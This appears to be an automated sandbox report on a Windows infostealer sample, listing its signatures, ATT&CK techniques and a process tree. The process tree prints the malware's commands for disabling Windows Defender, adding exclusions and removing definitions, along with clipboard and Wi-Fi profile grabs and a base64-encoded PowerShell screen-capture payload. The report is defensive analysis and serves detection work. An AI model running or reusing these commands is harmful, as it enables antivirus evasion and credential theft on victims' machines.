e70a82f28b1bc395faa00d81b4e09e11f397751a5813b371a5117095bec7a11d

Analysis

max time kernel
140s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
12/05/2024, 02:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
KIX-GhostClient_6.exe
Size 6.8MB
Sample240512-c2nm4afe24
SHA256 e70a82f28b1bc395faa00d81b4e09e11f397751a5813b371a5117095bec7a11d
MD5 4dd30a5ff9d3534e5018ff86f93e8d7e
SHA1 b67cde729b93090d2df17b01cbc71e8c1fed3c82
SHA512 5dbf24868170c36b7dab564264590b761399522109a8486abe39775115084f62efac28f0470aac885c761c0c4ce00f46144ba95cbe6f4b18dcad904e8e358931
SSDEEP 196608:6resV1gqB6ylnlPzf+JiJCsmFMvNn6hVvTr:7qBRlnlPSa7mmvN+rr
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
100	powershell.exe
3080	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5100	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe
1660	KIX-GhostClient_6.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023259-21.dat	upx
behavioral2/memory/1660-25-0x00007FFC3E170000-0x00007FFC3E75A000-memory.dmp	upx
behavioral2/files/0x000700000002324d-27.dat	upx
behavioral2/memory/1660-30-0x00007FFC4ED50000-0x00007FFC4ED73000-memory.dmp	upx
behavioral2/files/0x0007000000023257-29.dat	upx
behavioral2/memory/1660-48-0x00007FFC4EFE0000-0x00007FFC4EFEF000-memory.dmp	upx
behavioral2/files/0x0007000000023253-47.dat	upx
behavioral2/files/0x0007000000023252-46.dat	upx
behavioral2/files/0x0007000000023251-45.dat	upx
behavioral2/files/0x0008000000023249-44.dat	upx
behavioral2/files/0x0007000000023250-43.dat	upx
behavioral2/files/0x000700000002324f-42.dat	upx
behavioral2/files/0x000700000002324e-41.dat	upx
behavioral2/files/0x000700000002324c-40.dat	upx
behavioral2/files/0x000700000002325e-39.dat	upx
behavioral2/files/0x000700000002325d-38.dat	upx
behavioral2/files/0x000700000002325c-37.dat	upx
behavioral2/files/0x0007000000023258-34.dat	upx
behavioral2/files/0x0007000000023256-33.dat	upx
behavioral2/memory/1660-54-0x00007FFC4EB50000-0x00007FFC4EB7D000-memory.dmp	upx
behavioral2/memory/1660-56-0x00007FFC4DD60000-0x00007FFC4DD79000-memory.dmp	upx
behavioral2/memory/1660-58-0x00007FFC45A30000-0x00007FFC45A53000-memory.dmp	upx
behavioral2/memory/1660-60-0x00007FFC3DE50000-0x00007FFC3DFBF000-memory.dmp	upx
behavioral2/memory/1660-62-0x00007FFC4D570000-0x00007FFC4D589000-memory.dmp	upx
behavioral2/memory/1660-64-0x00007FFC4ED40000-0x00007FFC4ED4D000-memory.dmp	upx
behavioral2/memory/1660-66-0x00007FFC45370000-0x00007FFC4539E000-memory.dmp	upx
behavioral2/memory/1660-68-0x00007FFC3E170000-0x00007FFC3E75A000-memory.dmp	upx
behavioral2/memory/1660-69-0x00007FFC3DD90000-0x00007FFC3DE48000-memory.dmp	upx
behavioral2/memory/1660-72-0x00007FFC4ED50000-0x00007FFC4ED73000-memory.dmp	upx
behavioral2/memory/1660-73-0x00007FFC3DA10000-0x00007FFC3DD85000-memory.dmp	upx
behavioral2/memory/1660-76-0x00007FFC45A10000-0x00007FFC45A24000-memory.dmp	upx
behavioral2/memory/1660-78-0x00007FFC4EB10000-0x00007FFC4EB1D000-memory.dmp	upx
behavioral2/memory/1660-80-0x00007FFC3D8F0000-0x00007FFC3DA0C000-memory.dmp	upx
behavioral2/memory/1660-163-0x00007FFC4ED50000-0x00007FFC4ED73000-memory.dmp	upx
behavioral2/memory/1660-172-0x00007FFC3DD90000-0x00007FFC3DE48000-memory.dmp	upx
behavioral2/memory/1660-162-0x00007FFC3E170000-0x00007FFC3E75A000-memory.dmp	upx
behavioral2/memory/1660-173-0x00007FFC3DA10000-0x00007FFC3DD85000-memory.dmp	upx
behavioral2/memory/1660-171-0x00007FFC45370000-0x00007FFC4539E000-memory.dmp	upx
behavioral2/memory/1660-169-0x00007FFC4D570000-0x00007FFC4D589000-memory.dmp	upx
behavioral2/memory/1660-168-0x00007FFC3DE50000-0x00007FFC3DFBF000-memory.dmp	upx
behavioral2/memory/1660-167-0x00007FFC45A30000-0x00007FFC45A53000-memory.dmp	upx
behavioral2/memory/1660-252-0x00007FFC4ED50000-0x00007FFC4ED73000-memory.dmp	upx
behavioral2/memory/1660-251-0x00007FFC3E170000-0x00007FFC3E75A000-memory.dmp	upx
behavioral2/memory/1660-257-0x00007FFC3DE50000-0x00007FFC3DFBF000-memory.dmp	upx
behavioral2/memory/1660-287-0x00007FFC3E170000-0x00007FFC3E75A000-memory.dmp	upx
behavioral2/memory/1660-324-0x00007FFC4ED50000-0x00007FFC4ED73000-memory.dmp	upx
behavioral2/memory/1660-332-0x00007FFC45370000-0x00007FFC4539E000-memory.dmp	upx
behavioral2/memory/1660-331-0x00007FFC4ED40000-0x00007FFC4ED4D000-memory.dmp	upx
behavioral2/memory/1660-330-0x00007FFC4D570000-0x00007FFC4D589000-memory.dmp	upx
behavioral2/memory/1660-328-0x00007FFC45A30000-0x00007FFC45A53000-memory.dmp	upx
behavioral2/memory/1660-327-0x00007FFC4DD60000-0x00007FFC4DD79000-memory.dmp	upx
behavioral2/memory/1660-326-0x00007FFC4EB50000-0x00007FFC4EB7D000-memory.dmp	upx
behavioral2/memory/1660-323-0x00007FFC3E170000-0x00007FFC3E75A000-memory.dmp	upx
behavioral2/memory/1660-325-0x00007FFC4EFE0000-0x00007FFC4EFEF000-memory.dmp	upx
behavioral2/memory/1660-338-0x00007FFC3DE50000-0x00007FFC3DFBF000-memory.dmp	upx
behavioral2/memory/1660-339-0x00007FFC3DD90000-0x00007FFC3DE48000-memory.dmp	upx
behavioral2/memory/1660-343-0x00007FFC3D8F0000-0x00007FFC3DA0C000-memory.dmp	upx
behavioral2/memory/1660-342-0x00007FFC4EB10000-0x00007FFC4EB1D000-memory.dmp	upx
behavioral2/memory/1660-341-0x00007FFC45A10000-0x00007FFC45A24000-memory.dmp	upx
behavioral2/memory/1660-340-0x00007FFC3DA10000-0x00007FFC3DD85000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
51	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3044	WMIC.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery

T1057

pid	Process
1208	tasklist.exe
3732	tasklist.exe
4936	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3468	systeminfo.exe

Kills process with taskkill 7 IoCs

evasion

pid	Process
5864	taskkill.exe
6088	taskkill.exe
5144	taskkill.exe
1088	taskkill.exe
5448	taskkill.exe
5476	taskkill.exe
5408	taskkill.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
4888	taskmgr.exe
4888	taskmgr.exe
3968	powershell.exe
3968	powershell.exe
1904	powershell.exe
1904	powershell.exe
3080	powershell.exe
3080	powershell.exe
3968	powershell.exe
1904	powershell.exe
3080	powershell.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
5704	powershell.exe
5704	powershell.exe
4888	taskmgr.exe
4640	powershell.exe
4640	powershell.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
3368	powershell.exe
3368	powershell.exe
2752	powershell.exe
2752	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4888	taskmgr.exe
Token: SeSystemProfilePrivilege	4888	taskmgr.exe
Token: SeCreateGlobalPrivilege	4888	taskmgr.exe
Token: SeDebugPrivilege	1208	tasklist.exe
Token: SeDebugPrivilege	3732	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1128	WMIC.exe
Token: SeSecurityPrivilege	1128	WMIC.exe
Token: SeTakeOwnershipPrivilege	1128	WMIC.exe
Token: SeLoadDriverPrivilege	1128	WMIC.exe
Token: SeSystemProfilePrivilege	1128	WMIC.exe
Token: SeSystemtimePrivilege	1128	WMIC.exe
Token: SeProfSingleProcessPrivilege	1128	WMIC.exe
Token: SeIncBasePriorityPrivilege	1128	WMIC.exe
Token: SeCreatePagefilePrivilege	1128	WMIC.exe
Token: SeBackupPrivilege	1128	WMIC.exe
Token: SeRestorePrivilege	1128	WMIC.exe
Token: SeShutdownPrivilege	1128	WMIC.exe
Token: SeDebugPrivilege	1128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1128	WMIC.exe
Token: SeRemoteShutdownPrivilege	1128	WMIC.exe
Token: SeUndockPrivilege	1128	WMIC.exe
Token: SeManageVolumePrivilege	1128	WMIC.exe
Token: 33	1128	WMIC.exe
Token: 34	1128	WMIC.exe
Token: 35	1128	WMIC.exe
Token: 36	1128	WMIC.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	4936	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1128	WMIC.exe
Token: SeSecurityPrivilege	1128	WMIC.exe
Token: SeTakeOwnershipPrivilege	1128	WMIC.exe
Token: SeLoadDriverPrivilege	1128	WMIC.exe
Token: SeSystemProfilePrivilege	1128	WMIC.exe
Token: SeSystemtimePrivilege	1128	WMIC.exe
Token: SeProfSingleProcessPrivilege	1128	WMIC.exe
Token: SeIncBasePriorityPrivilege	1128	WMIC.exe
Token: SeCreatePagefilePrivilege	1128	WMIC.exe
Token: SeBackupPrivilege	1128	WMIC.exe
Token: SeRestorePrivilege	1128	WMIC.exe
Token: SeShutdownPrivilege	1128	WMIC.exe
Token: SeDebugPrivilege	1128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1128	WMIC.exe
Token: SeRemoteShutdownPrivilege	1128	WMIC.exe
Token: SeUndockPrivilege	1128	WMIC.exe
Token: SeManageVolumePrivilege	1128	WMIC.exe
Token: 33	1128	WMIC.exe
Token: 34	1128	WMIC.exe
Token: 35	1128	WMIC.exe
Token: 36	1128	WMIC.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeDebugPrivilege	3080	powershell.exe
Token: SeDebugPrivilege	5864	taskkill.exe
Token: SeDebugPrivilege	6088	taskkill.exe
Token: SeDebugPrivilege	5144	taskkill.exe
Token: SeDebugPrivilege	1088	taskkill.exe
Token: SeDebugPrivilege	5448	taskkill.exe
Token: SeDebugPrivilege	5476	taskkill.exe
Token: SeDebugPrivilege	5408	taskkill.exe
Token: SeDebugPrivilege	5704	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: 33	4888	taskmgr.exe
Token: SeIncBasePriorityPrivilege	4888	taskmgr.exe
Token: SeIncreaseQuotaPrivilege	3528	WMIC.exe
Token: SeSecurityPrivilege	3528	WMIC.exe

Suspicious use of FindShellTrayWindow 41 IoCs

pid	Process
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe

Suspicious use of SendNotifyMessage 41 IoCs

pid	Process
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2964 wrote to memory of 1660	2964	KIX-GhostClient_6.exe	91
PID 2964 wrote to memory of 1660	2964	KIX-GhostClient_6.exe	91
PID 1660 wrote to memory of 1852	1660	KIX-GhostClient_6.exe	93
PID 1660 wrote to memory of 1852	1660	KIX-GhostClient_6.exe	93
PID 1660 wrote to memory of 1576	1660	KIX-GhostClient_6.exe	94
PID 1660 wrote to memory of 1576	1660	KIX-GhostClient_6.exe	94
PID 1660 wrote to memory of 2284	1660	KIX-GhostClient_6.exe	97
PID 1660 wrote to memory of 2284	1660	KIX-GhostClient_6.exe	97
PID 1660 wrote to memory of 3452	1660	KIX-GhostClient_6.exe	98
PID 1660 wrote to memory of 3452	1660	KIX-GhostClient_6.exe	98
PID 1660 wrote to memory of 4724	1660	KIX-GhostClient_6.exe	101
PID 1660 wrote to memory of 4724	1660	KIX-GhostClient_6.exe	101
PID 1660 wrote to memory of 3280	1660	KIX-GhostClient_6.exe	102
PID 1660 wrote to memory of 3280	1660	KIX-GhostClient_6.exe	102
PID 1660 wrote to memory of 3148	1660	KIX-GhostClient_6.exe	103
PID 1660 wrote to memory of 3148	1660	KIX-GhostClient_6.exe	103
PID 1660 wrote to memory of 2604	1660	KIX-GhostClient_6.exe	106
PID 1660 wrote to memory of 2604	1660	KIX-GhostClient_6.exe	106
PID 1660 wrote to memory of 3260	1660	KIX-GhostClient_6.exe	105
PID 1660 wrote to memory of 3260	1660	KIX-GhostClient_6.exe	105
PID 1660 wrote to memory of 2168	1660	KIX-GhostClient_6.exe	109
PID 1660 wrote to memory of 2168	1660	KIX-GhostClient_6.exe	109
PID 1576 wrote to memory of 1904	1576	cmd.exe	113
PID 1576 wrote to memory of 1904	1576	cmd.exe	113
PID 3452 wrote to memory of 3732	3452	cmd.exe	114
PID 3452 wrote to memory of 3732	3452	cmd.exe	114
PID 2284 wrote to memory of 1208	2284	cmd.exe	115
PID 2284 wrote to memory of 1208	2284	cmd.exe	115
PID 4724 wrote to memory of 1128	4724	cmd.exe	116
PID 4724 wrote to memory of 1128	4724	cmd.exe	116
PID 1852 wrote to memory of 100	1852	cmd.exe	117
PID 1852 wrote to memory of 100	1852	cmd.exe	117
PID 1660 wrote to memory of 1076	1660	KIX-GhostClient_6.exe	118
PID 1660 wrote to memory of 1076	1660	KIX-GhostClient_6.exe	118
PID 3260 wrote to memory of 1936	3260	cmd.exe	120
PID 3260 wrote to memory of 1936	3260	cmd.exe	120
PID 3148 wrote to memory of 4936	3148	cmd.exe	122
PID 3148 wrote to memory of 4936	3148	cmd.exe	122
PID 3280 wrote to memory of 3968	3280	cmd.exe	121
PID 3280 wrote to memory of 3968	3280	cmd.exe	121
PID 2604 wrote to memory of 2120	2604	cmd.exe	123
PID 2604 wrote to memory of 2120	2604	cmd.exe	123
PID 2168 wrote to memory of 3468	2168	cmd.exe	124
PID 2168 wrote to memory of 3468	2168	cmd.exe	124
PID 1076 wrote to memory of 3080	1076	cmd.exe	126
PID 1076 wrote to memory of 3080	1076	cmd.exe	126
PID 1660 wrote to memory of 3384	1660	KIX-GhostClient_6.exe	127
PID 1660 wrote to memory of 3384	1660	KIX-GhostClient_6.exe	127
PID 3384 wrote to memory of 5164	3384	cmd.exe	129
PID 3384 wrote to memory of 5164	3384	cmd.exe	129
PID 1660 wrote to memory of 5256	1660	KIX-GhostClient_6.exe	130
PID 1660 wrote to memory of 5256	1660	KIX-GhostClient_6.exe	130
PID 5256 wrote to memory of 5368	5256	cmd.exe	132
PID 5256 wrote to memory of 5368	5256	cmd.exe	132
PID 1660 wrote to memory of 5384	1660	KIX-GhostClient_6.exe	133
PID 1660 wrote to memory of 5384	1660	KIX-GhostClient_6.exe	133
PID 5384 wrote to memory of 5440	5384	cmd.exe	135
PID 5384 wrote to memory of 5440	5384	cmd.exe	135
PID 1660 wrote to memory of 5504	1660	KIX-GhostClient_6.exe	136
PID 1660 wrote to memory of 5504	1660	KIX-GhostClient_6.exe	136
PID 5504 wrote to memory of 5576	5504	cmd.exe	138
PID 5504 wrote to memory of 5576	5504	cmd.exe	138
PID 1660 wrote to memory of 5588	1660	KIX-GhostClient_6.exe	139
PID 1660 wrote to memory of 5588	1660	KIX-GhostClient_6.exe	139

C:\Users\Admin\AppData\Local\Temp\KIX-GhostClient_6.exe
"C:\Users\Admin\AppData\Local\Temp\KIX-GhostClient_6.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Users\Admin\AppData\Local\Temp\KIX-GhostClient_6.exe
  "C:\Users\Admin\AppData\Local\Temp\KIX-GhostClient_6.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\KIX-GhostClient_6.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\KIX-GhostClient_6.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3452
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4724
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:2120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2168
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8